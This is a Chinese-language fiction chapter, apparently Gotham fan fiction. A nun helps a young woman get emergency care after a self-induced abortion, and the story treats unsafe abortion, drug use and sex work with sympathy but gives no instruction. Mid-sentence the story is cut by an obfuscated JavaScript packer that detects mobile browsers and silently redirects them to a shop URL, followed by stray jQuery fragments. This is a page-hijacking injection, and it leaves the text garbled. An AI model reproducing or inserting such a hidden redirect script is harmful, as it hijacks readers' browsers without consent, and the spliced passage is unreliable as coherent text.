图书馆回来后的夜里，凌晨三点四十七分，敲门声响起。
很轻，但在寂静的教堂里清晰得像一声惊雷。艾拉立刻从床上坐起，她一直留着一部分意识醒着。
她披上外衣，从门缝里，她看见外面微弱的光晕下，有一个蜷缩在台阶上的身影。
她打开门。
索菲亚·门德斯抬起头，脸在昏黄的防爆灯光下苍白如纸。她的嘴唇干裂，额头上布满冷汗，整个人在夜风中微微发抖。但艾拉最先感受到的，是属于新鲜血液的气味。
“修女。”索菲亚的声音几乎被风吹散，“我肚子疼。”
她的另一只手紧紧按着小腹，指缝间隐约可见暗色的污迹。
艾拉没有立刻说话。她快速扫视四周——街道空荡，只有远处码头传来的隐约汽笛声。然后她伸出手扶住索菲亚的手臂。
“进来。”
索菲亚想说什么，但艾拉已经侧身，巧妙地轻轻拉住索菲亚进入教堂。
门在身后关上，隔绝了夜风。
艾拉点亮了祭坛边那盏小台灯。昏黄的光晕刚好照亮她常坐的那张长椅周围。她扶着索菲亚坐下，转身去倒水。
“先喝点。”她把温水递过去，“去过诊所没有？”
索菲亚接过水杯，小口啜饮。她的手在发抖，水洒了一些在衣襟上。
“去过了，”她小声说，眼睛盯着杯子里晃动的水面，“没有人。灯黑着，敲门没人应。然后我……”她抬起头，看向艾拉，“我记得您说过，您在这里。”
艾拉点点头，从口袋里掏出那部老旧的手机。屏幕的光映在她脸上，照亮了她沉静的眉眼。她拨通了汤普金斯医生的号码。
三声响铃后，电话接通。背景音里有忍痛的哀嚎，医生显然在出急诊。
“艾拉？这么晚——”
“索菲亚·门德斯在我这里，”艾拉打断她，用词简洁，“腹痛，出血。”
电话那头沉默了两秒。然后是医生果断的声音：“我在南边处理枪伤，回不去。马克应该还在值班宿舍，我打电话叫他过去开门。”
“好。”
“你带她过去，我远程指导马克处理。如果需要进一步处理……”汤普金斯医生顿了顿，“先止血，评估情况。其他的，等我来。”
“明白。”
电话挂断。艾拉收起手机，看向索菲亚。
女孩已经喝完了水，正靠在长椅背上，眼睛紧闭，眉头紧锁。
“还能走吗？”艾拉轻声问。
索菲亚睁开眼睛，点了点头：“没问题。”
但艾拉看出她在撒谎。她的嘴唇已经咬出了血印，额头的冷汗在灯光下闪闪发亮。艾拉没有戳破，只是拿起挂在墙上的深色披肩轻轻披在索菲亚肩上。
“夜风冷。”她说。
然后她扶着索菲亚站起来，两人慢慢走出教堂。
哥谭的凌晨街道空荡得像一座巨大的坟墓。雨点淅淅沥沥的下着，路灯在远处投下惨白的光，阴影在脚下拉得很长。艾拉一只手打着伞，另一只手撑着索菲亚。她能感觉到女孩身体的重量越来越往她身上倾斜，能听见她压抑的、短促的呼吸。
还有血的味道。越来越浓。
汤普金斯医生的诊所在三个街区外。平时走这段路只需要十分钟，但现在，每一步都显得格外漫长。索菲亚的脚步越来越虚浮，好几次差点摔倒，都被艾拉稳稳扶住。
就在诊所的招牌出现在视野里时，索菲亚突然停了下来。
她抓住艾拉的手，握得很紧，紧得指节发白。她的手指冰凉，像刚从冰水里捞出来。
“对不起，”索菲亚的声音在夜风中颤抖，“对不起，修女。”
艾拉停下脚步，转身看着她。
索菲亚的脸上全是泪水。安静的、持续不断的流淌，混合着汗水，在苍白的皮肤上划出透明的痕迹。
“我说谎了。”她断断续续的说，每个字都带着哭腔，“客人太多了，我的孩子死了。我拿晾衣架……勾不出来。”
她松开艾拉的手，捂住自己的脸，肩膀剧烈地抖动起来，压抑的呜咽从指缝里漏出来。
艾拉没有说话。她伸出手，轻轻握住索菲亚冰冷的手指。
“我知道。”艾拉的声音很轻，“所以我带你来找医生。”
索菲亚抬起泪眼模糊的脸，看向她：“可是——”她的声音破碎了，“这是主不允许的——我的孩子——”
“我在听。”艾拉的声音多了一丝之前没有的柔和，“我在听，索菲亚。”
她顿了顿，看着女孩的眼睛：“现在，我们先处理身体的问题。其他的，可以慢慢说。”
索菲亚呆呆地看着她，似乎没听懂。然后她点点头，任由艾拉重新扶住她，走向诊所的大门。
马克已经到了。这个医学院研究生三年级的学生脸上还带着睡意，但眼神已经清醒。他看到索菲亚时，表情凝重起来。
“医生电话里说了，”他快速说道，“先止血，评估出血量。跟我来。”
他把两人带进诊察室，让索菲亚躺上检查床。然后他戴上手套，动作利落地开始准备器械。
马克轻声询问索菲□□况，索菲亚断断续续地回答，声音里满是羞愧和恐惧。看着马克开始检查，动作尽量轻柔，但还是让索菲亚疼得蜷缩起来。
马克的表情变了。
年轻人的脸上先是震惊，然后是愤怒，最后是一种混合着无力的悲伤。他停下动作，摘下沾血的手套，走到门口。
“需要清宫。”马克压低声音，对艾拉说，“不完全流产，残留组织引发了感染和大出血。必须立刻处理。”
他顿了顿，声音更低了：“但是……她用了非正规的手段，伤口不规整，感染风险很高。而且她体内还有毒品代谢物，麻醉风险……”
“汤普金斯医生怎么说？”艾拉问。
“医生说先止血，稳定生命体征，等天亮她回来处理。”马克看了一眼检查床上蜷缩的索菲亚，“但她出血量不小，等不到天亮。”
艾拉沉默了几秒。然后她走回诊察室，在索菲亚身边蹲下。
女孩的眼睛半睁着，眼神涣散。失血和疼痛正在带走她的意识。
“索菲亚，”艾拉轻声说，“医生需要给你做一个小手术，清理子宫里的残留组织。不然你会一直出血，有生命危险。”
索菲亚眨了眨眼，似乎没听懂。然后她点点头，声音微弱：“好。”
“但是，”艾拉继续说，声音依然很轻，“这个过程需要局部麻醉，但你体内的毒品……”
“我不怕疼。”索菲亚打断她，嘴角扯出一个虚弱的笑容，“我习惯了。”
艾拉她站起身，对马克点点头：“做吧。责任我承担。”
马克深吸一口气，重新戴上手套。
艾拉出去打了个电话，给胡安的。她挂断后就继续回到门口。
她听着里面压抑的呻吟，听着器械碰撞的声音，听着马克低声的安抚和指导——汤普金斯医生一直在电话里远程指挥。她看着灯光在门玻璃上投下晃动的影子，看着窗外天色从漆黑慢慢转为深蓝，再转为灰白。
雨还在下。
她就一直站在那里，像一尊沉默的雕塑。
直到天完全亮起，直到诊察室的门打开，马克走出来，脸上带着深深的疲惫。
“结束了。”他说，声音沙哑，“出血止住了，感染组织清理干净了。给她用了抗生素和止血剂。但是……”
他顿了顿，看向艾拉：“她的子宫壁受损很严重。以后可能很难再怀孕了。”
艾拉点点头，没有说话。她走进诊察
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984207|193601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
室。
索菲亚已经醒了。她躺在检查床上，脸色依旧苍白，但呼吸平稳了许多。她的眼睛看着天花板，眼神空洞。
艾拉在她身边坐下，拿起旁边水杯，用棉签蘸水，轻轻湿润她干裂的嘴唇。
索菲亚她没有说话，只是眼泪又开始无声地流淌。
艾拉也没有说话。她只是继续用棉签蘸水，一遍又一遍，直到索菲亚的嘴唇不再干裂。
窗外的天色完全亮了。哥谭的白天来了，街道上开始传来各种声响——早班工人的脚步声，送货卡车的引擎声，远处警笛的鸣响。
汤普金斯医生在七点半赶了回来，她一把脱下沾满了水的雨衣，然后换上干净的白大褂。她检查了索菲亚的情况，看了看马克的记录，然后拍了拍年轻人的肩膀。
“做得很好。”她说。
然后她看向艾拉：“通知家属了吗？”
“打过了。胡安先生说尽快来。”
几分钟后，胡安·门德斯冲进了诊所。
这个男人瘸着腿，却跑得飞快。他的脸上满是惊恐，头发上沾满了雨水，眼睛里布满血丝。他看到索菲亚时，整个人僵在原地，然后扑到床边，握住女儿的手。
“索菲亚……我的孩子……”他的声音在颤抖。
索菲亚看着他，眼泪流得更凶了。“对不起，爸爸，”她小声说，“孩子没了。”
胡安愣住了。他看着女儿，看着那张苍白的小脸，看着那双满是泪水、充满愧疚的眼睛。然后他低下头，把脸埋在女儿的手掌里。
他的肩膀开始抖动。没有声音，但艾拉能看到他脖颈上暴起的青筋，能感受到那种无声的、撕心裂肺的悲痛。
过了很久，胡安抬起头。他的眼睛通红，但脸上已经没有了眼泪。他深吸一口气，看向汤普金斯医生。
“她……还好吗？”
“暂时稳定了，”医生说，“但需要休息，需要营养，需要……”她停顿了一下，“需要远离毒品和那个环境。”
胡安点点头，表情变得愈发颓败。但他还是掏出点钱，放在椅子上。
“我们回家。”他对索菲亚轻声说。
他扶起女儿，小心翼翼，像捧着一件易碎的瓷器。索菲亚靠在他肩上，脚步虚浮，但至少能走。
走到门口时，胡安停下来，转身看向艾拉。
他深深鞠了一躬。
“谢谢您，修女。”他说。
然后他扶着索菲亚，一步一步，慢慢走出诊所，走进哥谭苍白的雨幕里。
汤普金斯医生走过来，站在她身边。老医生脸上满是疲惫，眼睛下有深深的黑眼圈。
“我去休息一会，”她说，“诊所交给你和马克了。”
艾拉点点头。
医生离开后，诊所里只剩下她和马克。年轻人正在清洗器械，动作很慢，很重。水龙头的水哗哗流淌，冲走血迹，冲走污秽，冲走这个漫长夜晚留下的所有痕迹。
“那个女孩……”马克开口，但没有说完。
“嗯。”艾拉应了一声。
两人都没有再说话。有些话不必说，有些情绪不必表达。在东区，每天都有这样的故事——更悲惨的，更绝望的，更荒诞的。
他们能做的，只是处理伤口，发放药品，记录信息。然后看着那些人带着或麻木、或痛苦、或虚假的希望，重新走进那个吞噬一切的白昼。
艾拉收拾好东西，关上诊所的门。
她走在回教堂的路上。她想起胡安眼中的光，想起索菲亚笑容里的天真。
她想起自己递给胡安叶酸片时，那个男人紧紧攥住药片的动作，像是攥住了整个世界。
然后她加快了脚步。
在教堂与街头之间，在希望与绝望的缝隙里。
她还会在那里，继续点那盏灯。